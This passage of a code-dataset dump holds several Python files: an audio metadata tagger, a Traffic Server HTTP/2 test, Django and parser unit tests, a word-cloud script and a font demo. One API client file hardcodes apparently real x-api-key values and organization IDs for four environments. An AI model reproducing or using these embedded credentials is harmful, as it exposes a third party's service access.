"call"}]} {"seq_id": "457646764", "text": "import urllib.request\n\nfrom mutagen.easyid3 import EasyID3\nfrom mutagen.flac import FLAC, Picture\nfrom mutagen.id3 import APIC, COMM, ID3, TORY, TPUB, TYER, USLT\nfrom mutagen.mp4 import MP4, MP4Cover\n\nfrom core.const import M4A_TAG_PRESET, TAG_PRESET, log\n\n\ndef compare(music_file, metadata):\n \"\"\"Check if the input music file title matches the expected title.\"\"\"\n already_tagged = False\n try:\n if music_file.endswith('.mp3'):\n audiofile = EasyID3(music_file)\n already_tagged = audiofile['title'][0] == metadata['name']\n elif music_file.endswith('.m4a'):\n audiofile = MP4(music_file)\n already_tagged = audiofile['\\xa9nam'][0] == metadata['name']\n except (KeyError, TypeError):\n pass\n\n return already_tagged\n\n\ndef embed(music_file, meta_tags):\n \"\"\" Embed metadata. \"\"\"\n embed = EmbedMetadata(music_file, meta_tags)\n if music_file.endswith('.m4a'):\n log.info('Applying metadata')\n return embed.as_m4a()\n elif music_file.endswith('.mp3'):\n log.info('Applying metadata')\n return embed.as_mp3()\n elif music_file.endswith('.flac'):\n log.info('Applying metadata')\n return embed.as_flac()\n else:\n log.warning('Cannot embed metadata into given output extension')\n return False\n\n\nclass EmbedMetadata:\n def __init__(self, music_file, meta_tags):\n self.music_file = music_file\n self.meta_tags = meta_tags\n\n def as_mp3(self):\n \"\"\" Embed metadata to MP3 files. \"\"\"\n music_file = self.music_file\n meta_tags = self.meta_tags\n # EasyID3 is fun to use ;)\n # For supported easyid3 tags:\n # https://github.com/quodlibet/mutagen/blob/master/mutagen/easyid3.py\n # Check out somewhere at end of above linked file\n audiofile = EasyID3(music_file)\n self._embed_basic_metadata(audiofile, preset=TAG_PRESET)\n audiofile['media'] = meta_tags['type']\n audiofile['author'] = meta_tags['artists'][0]['name']\n audiofile['lyricist'] = meta_tags['artists'][0]['name']\n audiofile['arranger'] = meta_tags['artists'][0]['name']\n audiofile['performer'] = meta_tags['artists'][0]['name']\n audiofile['website'] = meta_tags['external_urls']['spotify']\n audiofile['length'] = str(meta_tags['duration'])\n if meta_tags['publisher']:\n audiofile['encodedby'] = meta_tags['publisher']\n if meta_tags['external_ids']['isrc']:\n audiofile['isrc'] = meta_tags['external_ids']['isrc']\n audiofile.save(v2_version=3)\n\n # For supported id3 tags:\n # https://github.com/quodlibet/mutagen/blob/master/mutagen/id3/_frames.py\n # Each class represents an id3 tag\n audiofile = ID3(music_file)\n audiofile['TORY'] = TORY(encoding=3, text=meta_tags['year'])\n audiofile['TYER'] = TYER(encoding=3, text=meta_tags['year'])\n audiofile['TPUB'] = TPUB(encoding=3, text=meta_tags['publisher'])\n audiofile['COMM'] = COMM(encoding=3,\n text=meta_tags['external_urls']['spotify'])\n if meta_tags['lyrics']:\n audiofile['USLT'] = USLT(\n encoding=3, desc=u'Lyrics', text=meta_tags['lyrics'])\n try:\n albumart = urllib.request.urlopen(\n meta_tags['album']['images'][0]['url'])\n audiofile['APIC'] = APIC(encoding=3, mime='image/jpeg', type=3,\n desc=u'Cover', data=albumart.read())\n albumart.close()\n except IndexError:\n pass\n\n audiofile.save(v2_version=3)\n return True\n\n def as_m4a(self):\n \"\"\" Embed metadata to M4A files. \"\"\"\n music_file = self.music_file\n meta_tags = self.meta_tags\n audiofile = MP4(music_file)\n self._embed_basic_metadata(audiofile, preset=M4A_TAG_PRESET)\n audiofile[M4A_TAG_PRESET['year']] = meta_tags['year']\n if meta_tags['lyrics']:\n audiofile['lyrics'] = meta_tags['lyrics']\n try:\n albumart = urllib.request.urlopen(\n meta_tags['album']['images'][0]['url'])\n audiofile[M4A_TAG_PRESET['albumart']] = [MP4Cover(\n albumart.read(), imageformat=MP4Cover.FORMAT_JPEG)]\n albumart.close()\n except IndexError:\n pass\n\n audiofile.save()\n return True\n\n def as_flac(self):\n music_file = self.music_file\n meta_tags = self.meta_tags\n audiofile = FLAC(music_file)\n self._embed_basic_metadata(audiofile)\n audiofile['year'] = meta_tags['year']\n audiofile['comment'] = meta_tags['external_urls']['spotify']\n if meta_tags['lyrics']:\n audiofile['lyrics'] = meta_tags['lyrics']\n\n image = Picture()\n image.type = 3\n image.desc = 'Cover'\n image.mime = 'image/jpeg'\n albumart = urllib.request.urlopen(\n meta_tags['album']['images'][0]['url'])\n image.data = albumart.read()\n albumart.close()\n audiofile.add_picture(image)\n\n audiofile.save()\n return True\n\n def _embed_basic_metadata(self, audiofile, preset=TAG_PRESET):\n meta_tags = self.meta_tags\n audiofile[preset['artist']] = meta_tags['artists'][0]['name']\n audiofile[preset['albumartist']] = meta_tags['artists'][0]['name']\n audiofile[preset['album']] = meta_tags['album']['name']\n audiofile[preset['title']] = meta_tags['name']\n audiofile[preset['date']] = meta_tags['release_date']\n audiofile[preset['originaldate']] = meta_tags['release_date']\n if meta_tags['genre']:\n audiofile[preset['genre']] = meta_tags['genre']\n if meta_tags['copyright']:\n audiofile[preset['copyright']] = meta_tags['copyright']\n if self.music_file.endswith('.flac'):\n audiofile[preset['discnumber']] = str(meta_tags['disc_number'])\n else:\n audiofile[preset['discnumber']] = [(meta_tags['disc_number'], 0)]\n if self.music_file.endswith('.flac'):\n audiofile[preset['tracknumber']] = str(meta_tags['track_number'])\n else:\n if preset['tracknumber'] == TAG_PRESET['tracknumber']:\n audiofile[preset['tracknumber']] = '{}/{}'.format(\n meta_tags['track_number'], meta_tags['total_tracks'])\n else:\n audiofile[preset['tracknumber']] = [\n (meta_tags['track_number'], meta_tags['total_tracks'])\n ]\n", "sub_path": "core/metadata.py", "file_name": "metadata.py", "file_ext": "py", "file_size_in_byte": 6566, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "mutagen.easyid3.EasyID3", "line_number": 16, "usage_type": "call"}, {"api_name": "mutagen.mp4.MP4", "line_number": 19, "usage_type": "call"}, {"api_name": "core.const.log.info", "line_number": 31, "usage_type": "call"}, {"api_name": "core.const.log", "line_number": 31, "usage_type": "name"}, {"api_name": "core.const.log.info", "line_number": 34, "usage_type": "call"}, {"api_name": "core.const.log", "line_number": 34, "usage_type": "name"}, {"api_name": "core.const.log.info", "line_number": 37, "usage_type": "call"}, {"api_name": "core.const.log", "line_number": 37, "usage_type": "name"}, {"api_name": "core.const.log.warning", "line_number": 40, "usage_type": "call"}, {"api_name": "core.const.log", "line_number": 40, "usage_type": "name"}, {"api_name": "mutagen.easyid3.EasyID3", "line_number": 57, "usage_type": "call"}, {"api_name": "core.const.TAG_PRESET", "line_number": 58, "usage_type": "name"}, {"api_name": "mutagen.id3.ID3", "line_number": 75, "usage_type": "call"}, {"api_name": "mutagen.id3.TORY", "line_number": 76, "usage_type": "call"}, {"api_name": "mutagen.id3.TYER", "line_number": 77, "usage_type": "call"}, {"api_name": "mutagen.id3.TPUB", "line_number": 78, "usage_type": "call"}, {"api_name": "mutagen.id3.COMM", "line_number": 79, "usage_type": "call"}, {"api_name": "mutagen.id3.USLT", "line_number": 82, "usage_type": "call"}, {"api_name": "urllib.request.request.urlopen", "line_number": 85, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 85, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 85, "usage_type": "name"}, {"api_name": "mutagen.id3.APIC", "line_number": 87, "usage_type": "call"}, {"api_name": "mutagen.mp4.MP4", "line_number": 100, "usage_type": "call"}, {"api_name": "core.const.M4A_TAG_PRESET", "line_number": 101, "usage_type": "name"}, {"api_name": "core.const.M4A_TAG_PRESET", "line_number": 102, "usage_type": "name"}, {"api_name": "urllib.request.request.urlopen", "line_number": 106, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 106, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 106, "usage_type": "name"}, {"api_name": "core.const.M4A_TAG_PRESET", "line_number": 108, "usage_type": "name"}, {"api_name": "mutagen.mp4.MP4Cover", "line_number": 108, "usage_type": "call"}, {"api_name": "mutagen.mp4.MP4Cover.FORMAT_JPEG", "line_number": 109, "usage_type": "attribute"}, {"api_name": "mutagen.mp4.MP4Cover", "line_number": 109, "usage_type": "name"}, {"api_name": "mutagen.flac.FLAC", "line_number": 120, "usage_type": "call"}, {"api_name": "mutagen.flac.Picture", "line_number": 127, "usage_type": "call"}, {"api_name": "urllib.request.request.urlopen", "line_number": 131, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 131, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 131, "usage_type": "name"}, {"api_name": "core.const.TAG_PRESET", "line_number": 140, "usage_type": "name"}, {"api_name": "core.const.TAG_PRESET", "line_number": 159, "usage_type": "name"}]} {"seq_id": "389577314", "text": "# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements. See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership. The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\nimport logging\nimport os\n\nimport helpers\n\nimport tsqa.endpoint\nimport tsqa.test_cases\nimport tsqa.utils\n\ntry:\n import hyper\nexcept ImportError:\n raise helpers.unittest.SkipTest('Cannot import hyper, skipping tests for HTTP/2')\n\nlog = logging.getLogger(__name__)\n\n\nclass TestHTTP2(helpers.EnvironmentCase, tsqa.test_cases.HTTPBinCase):\n @classmethod\n def setUpEnv(cls, env):\n '''\n Setting up environment for testing of HTTP2\n '''\n # get HTTP/2 server ports\n cls.http2_port = tsqa.utils.bind_unused_port()[1]\n\n # HTTP2 configs\n cls.configs['records.config']['CONFIG']['proxy.config.http2.enabled'] = 1\n cls.configs['records.config']['CONFIG']['proxy.config.http.server_ports'] += ' {0}:ssl'.format(cls.http2_port)\n cls.configs['records.config']['CONFIG']['proxy.config.ssl.server.cert.path'] = helpers.tests_file_path('rsa_keys')\n cls.configs['records.config']['CONFIG']['proxy.config.diags.debug.enabled'] = 1\n cls.configs['records.config']['CONFIG']['proxy.config.diags.debug.tags'] = 'http2.*|ssl.*'\n\n # configure SSL multicert\n cls.configs['ssl_multicert.config'].add_line(\n 'dest_ip=* ssl_cert_name={0}\\n'.format(helpers.tests_file_path('rsa_keys/www.example.com.pem'))\n )\n\n # remap configs\n cls.configs['remap.config'].add_line(\n 'map / http://127.0.0.1:{0}/'.format(cls.http_endpoint.address[1])\n )\n\n # Turn off certificate verification for the tests.\n # hyper-0.4.0 verify certs in default and can't turn it off without below hack:(\n hyper.tls._context = hyper.tls.init_context()\n hyper.tls._context.check_hostname = False\n hyper.tls._context.verify_mode = hyper.compat.ssl.CERT_NONE\n\n def __cat(self, target_file_path):\n '''\n Cat given file\n '''\n for line in open(target_file_path).readlines():\n log.debug(line[:-1])\n\n def __traffic_out(self):\n '''\n Cat traffic.out\n '''\n self.__cat(os.path.join(self.environment.layout.logdir, 'traffic.out'))\n\n def __diags_log(self):\n '''\n Cat diags.log\n '''\n self.__cat(os.path.join(self.environment.layout.logdir, 'diags.log'))\n\n def test_http2_request_hyper(self):\n '''\n Test HTTP/2 w/ hyper (Normal Scenario)\n '''\n try:\n conn = hyper.HTTPConnection('127.0.0.1', self.http2_port, secure=True)\n stream_id = conn.request('GET', '/')\n ret = conn.get_response()\n\n self.assertNotEqual(stream_id, None)\n self.assertEqual(ret.status, 200)\n except Exception as e:\n log.error(e)\n self.__traffic_out()\n self.__diags_log()\n", "sub_path": "ci/tsqa/tests/test_http2.py", "file_name": "test_http2.py", "file_ext": "py", "file_size_in_byte": 3572, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "helpers.unittest.SkipTest", "line_number": 28, "usage_type": "call"}, {"api_name": "helpers.unittest", "line_number": 28, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 30, "usage_type": "call"}, {"api_name": "helpers.EnvironmentCase", "line_number": 33, "usage_type": "attribute"}, {"api_name": "tsqa.endpoint.test_cases", "line_number": 33, "usage_type": "attribute"}, {"api_name": "tsqa.endpoint", "line_number": 33, "usage_type": "name"}, {"api_name": "tsqa.endpoint.utils.bind_unused_port", "line_number": 40, "usage_type": "call"}, {"api_name": "tsqa.endpoint.utils", "line_number": 40, "usage_type": "attribute"}, {"api_name": "tsqa.endpoint", "line_number": 40, "usage_type": "name"}, {"api_name": "helpers.tests_file_path", "line_number": 45, "usage_type": "call"}, {"api_name": "helpers.tests_file_path", "line_number": 51, "usage_type": "call"}, {"api_name": "hyper.tls", "line_number": 61, "usage_type": "attribute"}, {"api_name": "hyper.tls.init_context", "line_number": 61, "usage_type": "call"}, {"api_name": "hyper.tls", "line_number": 62, "usage_type": "attribute"}, {"api_name": "hyper.tls", "line_number": 63, "usage_type": "attribute"}, {"api_name": "hyper.compat", "line_number": 63, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 76, "usage_type": "call"}, {"api_name": "os.path", "line_number": 76, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 82, "usage_type": "call"}, {"api_name": "os.path", "line_number": 82, "usage_type": "attribute"}, {"api_name": "hyper.HTTPConnection", "line_number": 89, "usage_type": "call"}]} {"seq_id": "34168261", "text": "from rest_framework.generics import get_object_or_404\nfrom rest_framework.reverse import reverse\nfrom rest_framework.status import HTTP_200_OK\n\nfrom api.api import OrderInfoViewSet\nfrom api.models import User, Broker, Symbol, Order\nfrom api.tests.abstract_test import AbstractAPITestCase\n\n\nclass OrderInfoTest(AbstractAPITestCase):\n def _get_uri(self, *args):\n return reverse('order-info-detail', args)\n\n def setUp(self) -> None:\n super().setUp()\n self.view = OrderInfoViewSet.as_view({'get': 'retrieve'})\n\n def test_list(self):\n user = User.objects.create(telegram_id=23456)\n broker = Broker.objects.create(name='Банковский перевод внутри страны')\n symbol = get_object_or_404(Symbol, name='eth')\n order = Order.objects.create(broker=broker,\n limit_from=10,\n limit_to=10000,\n type='sell',\n user=user,\n symbol=symbol,\n rate=0.1)\n response = self._make_get_request(view=self.view, uri=self._get_uri(order.id,), pk=order.id)\n self.assertEqual(response.status_code, HTTP_200_OK)\n self.assertEqual(response.data['id'], order.id)", "sub_path": "trading_api/api/tests/test_order_info.py", "file_name": "test_order_info.py", "file_ext": "py", "file_size_in_byte": 1347, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "api.tests.abstract_test.AbstractAPITestCase", "line_number": 10, "usage_type": "name"}, {"api_name": "rest_framework.reverse.reverse", "line_number": 12, "usage_type": "call"}, {"api_name": "api.api.OrderInfoViewSet.as_view", "line_number": 16, "usage_type": "call"}, {"api_name": "api.api.OrderInfoViewSet", "line_number": 16, "usage_type": "name"}, {"api_name": "api.models.User.objects.create", "line_number": 19, "usage_type": "call"}, {"api_name": "api.models.User.objects", "line_number": 19, "usage_type": "attribute"}, {"api_name": "api.models.User", "line_number": 19, "usage_type": "name"}, {"api_name": "api.models.Broker.objects.create", "line_number": 20, "usage_type": "call"}, {"api_name": "api.models.Broker.objects", "line_number": 20, "usage_type": "attribute"}, {"api_name": "api.models.Broker", "line_number": 20, "usage_type": "name"}, {"api_name": "rest_framework.generics.get_object_or_404", "line_number": 21, "usage_type": "call"}, {"api_name": "api.models.Symbol", "line_number": 21, "usage_type": "argument"}, {"api_name": "api.models.Order.objects.create", "line_number": 22, "usage_type": "call"}, {"api_name": "api.models.Order.objects", "line_number": 22, "usage_type": "attribute"}, {"api_name": "api.models.Order", "line_number": 22, "usage_type": "name"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 30, "usage_type": "argument"}]} {"seq_id": "180824736", "text": "import os, sys\nsys.path.insert (0, os.getcwd ())\nimport pcfg.pcky, pcfg.pcnf\n\nfrom collections import defaultdict\nimport random, math \nimport pytest\n\nPCKY = pcfg.pcky.PCKY\n\n@pytest.fixture\ndef cfg ():\n\treturn {\n\t\t'rules': {\n\t\t\t'S': ['NP VP', 'Aux NP VP', 'VP'],\n\t\t\t'NP': ['Pronoun', 'Proper-Noun', 'Det Nominal', 'Nominal'],\n\t\t\t'Nominal': ['Noun', 'Nominal Noun', 'Nominal PP'],\n\t\t\t'VP': ['Verb', 'Verb NP', 'Verb NP PP', 'Verb PP', 'Verb NP NP','VP PP'],\n\t\t\t'PP': ['Preposition NP']\n\t\t},\n\t\t'lexicon': {\n\t\t\t'Det': ['that','the', 'a'],\n\t\t\t'Noun': ['book', 'flight', 'meal', 'money', 'dinner'],\n\t\t\t'Verb': ['book', 'include', 'prefer'],\n\t\t\t'Pronoun': ['I','she','me', 'you'],\n\t\t\t'Proper-Noun': ['Houston', 'NWA'],\n\t\t\t'Aux': ['does','can'],\n\t\t\t'Preposition': ['from','to','on','near','through']\n\t\t}\n\t}\n\n@pytest.fixture\ndef p_table ():\n\treturn {\n\t\t'rules': {\n\t\t\t'S': [0.8,0.15,0.05],\n\t\t\t'NP': [0.35, 0.3, 0.2,0.15],\n\t\t\t'Nominal': [0.75,0.2,0.05],\n\t\t\t'VP': [0.35, 0.2, 0.1,0.15,0.05,0.15],\n\t\t\t'PP': [1]\n\t\t},\n\t\t'lexicon': {\n\t\t\t'Det': [0.1, 0.6, 0.3],\n\t\t\t'Noun': [0.1, 0.7, 0.015, 0.085, 0.1],\n\t\t\t'Verb': [0.3, 0.3, 0.4],\n\t\t\t'Pronoun': [0.4, 0.05, 0.15, 0.4],\n\t\t\t'Proper-Noun': [0.6, 0.4],\n\t\t\t'Aux': [0.6, 0.4],\n\t\t\t'Preposition': [0.3, 0.3, 0.2, 0.15, 0.05]\n\t\t}\n\t}\t\n\n@pytest.fixture\ndef up_CNF (cfg, p_table):\n\tcnf, p_table = pcfg.pcnf.PCNF.to_CNF (cfg, p_table)\n\treturn cnf, p_table\n\n# @pytest.mark.skip ()\ndef test__collect_pos (up_CNF):\n\twords = ['book', 'the', 'flight', 'through', 'Houston']\n\twnum = len (words)\n\tG, p_table = up_CNF\n\ttable = PCKY._gen_parse_table (words)\n\tfor j in range (1, wnum+1):\n\t\tPCKY._collect_pos (j, words, G, table, p_table)\n\n\tassert len (table[0][1]) == 2\n\tnt_list = [l['head'] for l in table[0][1]]\n\tp_list = [0.3, 0.1]\n\tfor i in ['Verb', 'Noun']: \n\t\tassert i in nt_list\n\t\tii = nt_list.index (i)\n\t\ttable[0][1][ii]['p'] = p_list[ii]\n\n\ndef test__estimate_p1 (): pass\n\t# estimate correct p for pos\n\ndef test__estimate_p2 (): pass\n\t# estimate correct p for unit production\n\ndef test__estimate_p3 (): pass\n\t# estimate correct p for normal rule\n\n# @pytest.mark.skip ()\ndef test__collect_up ():\n\tG = { # arbitrary\n\t\t'rules': {\n\t\t\t'S': ['K Verb', 'PP Verb'],\n\t\t\t'PP': ['K', 'AB XY'],\n\t\t\t'TT': ['K', 'XX Y'],\n\t\t\t'K': ['Z', 'AC XY'],\n\t\t\t'T': ['Verb', 'TZ OM']\n\t\t},\n\t\t'lexicon': {\n\t\t\t'Verb': ['x', 'y'],\n\t\t\t'PP': ['z', 'y'],\n\t\t\t'Z': ['a', 'b']\n\t\t}\n\t}\n\n\tp_table = { # arbitrary\n\t\t'rules': {\n\t\t\t'S': [0.4, 0.6],\n\t\t\t'PP': [0.5, 0.5],\n\t\t\t'TT': [0.2, 0.8],\n\t\t\t'K': [0.1, 0.9],\n\t\t\t'T': [0.9, 0.1]\n\t\t},\n\t\t'lexicon': {\n\t\t\t'Verb': [0.2, 0.8],\n\t\t\t'PP': [0.6, 0.4],\n\t\t\t'Z': [0.3, 0.7]\n\t\t}\n\t}\n\n\tpointer = {'head': 'Z', 'left': None, 'right': None, 'p': 0.3} \n\tp1 = PCKY._collect_up ('Z', G['rules'], p_table, pointer)\n\tpointer = {'head': 'Verb', 'left': None, 'right': None, 'p': 0.8} \n\tp2 = PCKY._collect_up ('Verb', G['rules'], p_table, pointer)\n\n\tassert len (p1) == 3\n\tassert len (p2) == 1\n\n# @pytest.mark.skip ()\ndef test__collect_rules ():\n\tG = { # arbitrary\n\t\t'rules': {\n\t\t\t'S': ['K Verb', 'PP Verb'],\n\t\t\t'PP': ['K', 'AB XY'],\n\t\t\t'TT': ['K', 'XX Y'],\n\t\t\t'K': ['Z', 'AC XY'],\n\t\t\t'T': ['Verb', 'TZ OM']\n\t\t},\n\t\t'lexicon': {\n\t\t\t'Verb': ['x', 'y'],\n\t\t\t'PP': ['z', 'y'],\n\t\t\t'Z': ['a', 'b']\n\t\t}\n\t}\n\n\tp_table = { # arbitrary\n\t\t'rules': {\n\t\t\t'S': [0.4, 0.6],\n\t\t\t'PP': [0.5, 0.5],\n\t\t\t'TT': [0.2, 0.8],\n\t\t\t'K': [0.1, 0.9],\n\t\t\t'T': [0.9, 0.1]\n\t\t},\n\t\t'lexicon': {\n\t\t\t'Verb': [0.2, 0.8],\n\t\t\t'PP': [0.6, 0.4],\n\t\t\t'Z': [0.3, 0.7]\n\t\t}\n\t}\n\n\tleft_pointer = {'head': 'Z', 'left': None, 'right': None, 'p': 0.3}\n\tright_pointer = {'head': 'Verb', 'left': None, 'right': None, 'p': 0.8}\n\tpointers = PCKY._collect_rules (left_pointer, right_pointer, G['rules'], p_table)\n\n\tassert len (pointers) == 2\n\tassert pointers[0]['left']['head'] == 'K'\n\tassert pointers[0]['right']['head'] == 'Verb'\n\tassert pointers[0]['head'] == 'S'\n\n\tassert pointers[1]['left']['head'] == 'PP'\n\tassert pointers[1]['right']['head'] == 'Verb'\n\tassert pointers[1]['head'] == 'S'\n\n# @pytest.mark.skip ()\ndef test_recognize (up_CNF):\n\twords = ['book', 'the', 'dinner', 'flight']\n\tG, p_table = up_CNF\n\ttable = PCKY.recognize (words, G, p_table)\n\tassert True\n\n\t# TEST later\n\n\t# assert len (table[0][4]) == 10\n\t# nt_list = [list (l.keys())[0] for l in table[0][5]]\n\t# for i in ['S', 'VP', 'X2', 'TX']: assert i in nt_list\n\ndef test_parse (): pass\n\ndef test_evaluate (): pass\n\n\n", "sub_path": "projects/parsing/test/pcfg/test_pcky.py", "file_name": "test_pcky.py", "file_ext": "py", "file_size_in_byte": 4330, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sys.path.insert", "line_number": 2, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 2, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 2, "usage_type": "call"}, {"api_name": "pcfg.pcky.pcky", "line_number": 9, "usage_type": "attribute"}, {"api_name": "pcfg.pcky", "line_number": 9, "usage_type": "name"}, {"api_name": "pytest.fixture", "line_number": 11, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 32, "usage_type": "attribute"}, {"api_name": "pcfg.pcky.pcnf.PCNF.to_CNF", "line_number": 55, "usage_type": "call"}, {"api_name": "pcfg.pcky.pcnf", "line_number": 55, "usage_type": "attribute"}, {"api_name": "pcfg.pcky", "line_number": 55, "usage_type": "name"}, {"api_name": "pytest.fixture", "line_number": 53, "usage_type": "attribute"}]} {"seq_id": "237342335", "text": "# -*- coding: utf8 -*-\n\nimport matplotlib.pyplot as plt\n# -*- coding: utf-8 -*-\nimport os\nimport jieba\nfrom InformationRetrievalCourseDesign.settings import BASE_DIR\nfrom jieba import analyse\nfrom scipy.misc import imread\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nfrom wordcloud import WordCloud\n\n\ndef wordCloud(text, movie_id):\n original_text = text\n wordList = jieba.cut(original_text)\n tags = analyse.extract_tags(original_text, topK=500, withWeight=False)\n stags = \" \".join(tags)\n with open(BASE_DIR+'\\doubanshow\\common\\stopwords.txt', 'r', encoding='utf-8') as f :\n stopwords = list(f.read().split('\\n'))\n outstr = ''\n for word in wordList:\n if word in stags:\n if word not in stopwords:\n if word != '\\t':\n\n outstr += word\n outstr += \" \"\n cloud = WordCloud(\n font_path='C:/Windows/Fonts/msyhbd.ttc',\n background_color='white',\n mask=imread(BASE_DIR+'/static/img/mask.jpg'),\n max_words=500,\n max_font_size=60)\n # 设置词云参数，字体，模板，背景白色，最大词量100个，最大字体尺寸60\n word_cloud = cloud.generate(outstr) # 产生词云数据 word_cloud\n path = BASE_DIR+'/static/img/'+movie_id+'.jpg'\n word_cloud.to_file(path)\n\n\n\n", "sub_path": "doubanshow/common/wordCloud.py", "file_name": "wordCloud.py", "file_ext": "py", "file_size_in_byte": 1323, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "jieba.cut", "line_number": 17, "usage_type": "call"}, {"api_name": "jieba.analyse.extract_tags", "line_number": 18, "usage_type": "call"}, {"api_name": "jieba.analyse", "line_number": 18, "usage_type": "name"}, {"api_name": "InformationRetrievalCourseDesign.settings.BASE_DIR", "line_number": 20, "usage_type": "name"}, {"api_name": "wordcloud.WordCloud", "line_number": 30, "usage_type": "call"}, {"api_name": "scipy.misc.imread", "line_number": 33, "usage_type": "call"}, {"api_name": "InformationRetrievalCourseDesign.settings.BASE_DIR", "line_number": 33, "usage_type": "name"}, {"api_name": "InformationRetrievalCourseDesign.settings.BASE_DIR", "line_number": 38, "usage_type": "name"}]} {"seq_id": "530878508", "text": "# coding=utf-8\nimport json\nfrom config.gbl import *\nimport nd.rest.http_mot as CoHttpM\nfrom api_call.base.http import BaseHttp\nfrom api_call.base.txt_opera import TxtOpera\n\n\nclass LessonPlan(BaseHttp):\n def __init__(self, env='env'):\n super(LessonPlan, self).__init__(env=env)\n self.tokenId = ''\n my_txt = TxtOpera()\n self.tokenId = my_txt.read_txt_authorizationToken()\n\n if self.env == 'dev':\n self.header = {\n \"Content-Type\": \"application/json;charset=utf-8\",\n \"Authorization\": self.tokenId,\n \"x-api-key\": \"8k7m8b5d5fe4uainvosm1ph3aaw1kgvgh4toixcx\",\n \"x-auth-organization-id\": \"d4b70d67-9287-49de-4973-a143cf00f052\"\n }\n elif self.env == 'sandbox':\n self.header = {\n \"Content-Type\": \"application/json;charset=utf-8\",\n \"Authorization\": self.tokenId,\n \"x-api-key\": \"uvw9493jpylxyzoww77c6pdhzo445mu82b9h03ja\",\n \"x-auth-organization-id\": \"f0bca5c7-1945-1b97-d6ac-806d88e62ebe\"\n }\n elif self.env == 'staging':\n self.header = {\n \"Content-Type\": \"application/json;charset=utf-8\",\n \"Authorization\": self.tokenId,\n \"x-api-key\": \"lvs656pldskhp2b9ryxz00ng4yo8f3rajv4f8kd8\",\n \"x-auth-organization-id\": \"d2bcaa83-062d-af1d-e778-c796397f024d\"\n }\n elif self.env == 'prod':\n self.header = {\n \"Content-Type\": \"application/json;charset=utf-8\",\n \"Authorization\": self.tokenId,\n \"x-api-key\": \"d8e8wkdumnxcrx74htsfowj9bx5xqy5f1995xq62\",\n \"x-auth-organization-id\": \"d6bcaa82-23c4-53e7-d96b-563703ce543c\"\n }\n\n # 初始化http，设置header\n self.http_obj = CoHttpM.Http(self.get_ybm_host(), self.get_port(), ssl=True)\n self.http_obj.set_header(self.header)\n\n # ============================================公共部分========================================\n\n def api_getOrgDetails(self, org_prn):\n url = '/org-support/graphql'\n body = {\n \"variables\": {\n \"prn\": org_prn\n },\n \"query\": \"query getOrgDetails($prn: String!) {getOrgDetails(prn: $prn) {id name status}}\"\n }\n body = json.dumps(body)\n res = self.http_obj.post(url, body)\n return res\n", "sub_path": "api_call/jin/api_temp.py", "file_name": "api_temp.py", "file_ext": "py", "file_size_in_byte": 2425, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "api_call.base.http.BaseHttp", "line_number": 9, "usage_type": "name"}, {"api_name": "api_call.base.txt_opera.TxtOpera", "line_number": 13, "usage_type": "call"}, {"api_name": "nd.rest.http_mot.Http", "line_number": 46, "usage_type": "call"}, {"api_name": "nd.rest.http_mot", "line_number": 46, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 59, "usage_type": "call"}]} {"seq_id": "37457501", "text": "import matplotlib.pyplot as plt\r\nimport matplotlib.font_manager as fm\r\n#prop=fm.FontProperties(fname='C:/Windows/Fonts/NanumGothic.ttf')\r\nprop=fm.FontProperties(fname='C:/Windows/Fonts/gulim.ttc')\r\n\r\nplt.plot([1,2,3,4])\r\nplt.title('테스트',fontproperties=prop,fontsize=20) # fontproperties 뒤에 fontsize 가 나와야 함\r\nplt.legend(['하나'],prop=prop)\r\nplt.show()\r\n\r\n'''\r\np1,=plt.plot([1,2,3])\r\n#p1.set_label('line')\r\np2,=plt.plot([2,3,4])\r\np3,=plt.plot([3,4,5])\r\nplt.legend([p1,p3],['제곱함수','테스트'],loc=3,prop=prop)\r\nplt.show()\r\n'''", "sub_path": "mpl_font.py", "file_name": "mpl_font.py", "file_ext": "py", "file_size_in_byte": 554, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "matplotlib.font_manager.FontProperties", "line_number": 4, "usage_type": "call"}, {"api_name": "matplotlib.font_manager", "line_number": 4, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 6, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 6, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 7, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 7, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 8, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 8, "usage_type": "name"}, {"api_name": 